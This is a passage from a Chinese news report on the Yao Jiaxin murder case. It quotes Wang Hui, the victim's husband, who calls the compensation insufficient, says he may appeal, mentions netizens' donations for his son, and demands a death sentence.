一审判决中，要求赔偿被害人家属经济损失45498.5元。对此，王辉表示“给得太少”。　　王辉表示，这些赔偿金远远不够赔偿他们的经济损失。当问到是否会上诉要求增加赔偿额度时，王辉说“以后会考虑（上诉）”。　　有网友在微博上公开表示要为张妙的儿子捐款，并得到众多网友的支持。对此，王辉表示，如果有捐款自己会接受，所得赔偿金和捐款都会拿来供儿子读书，给儿子盖房子，“要给儿子盖个农村的房子”。　　最后，王辉坚定地告诉记者，无论药家鑫是否上诉，自己都坚持要判他死刑，“等他枪决那天，希望媒体都来报道，还我们公道”。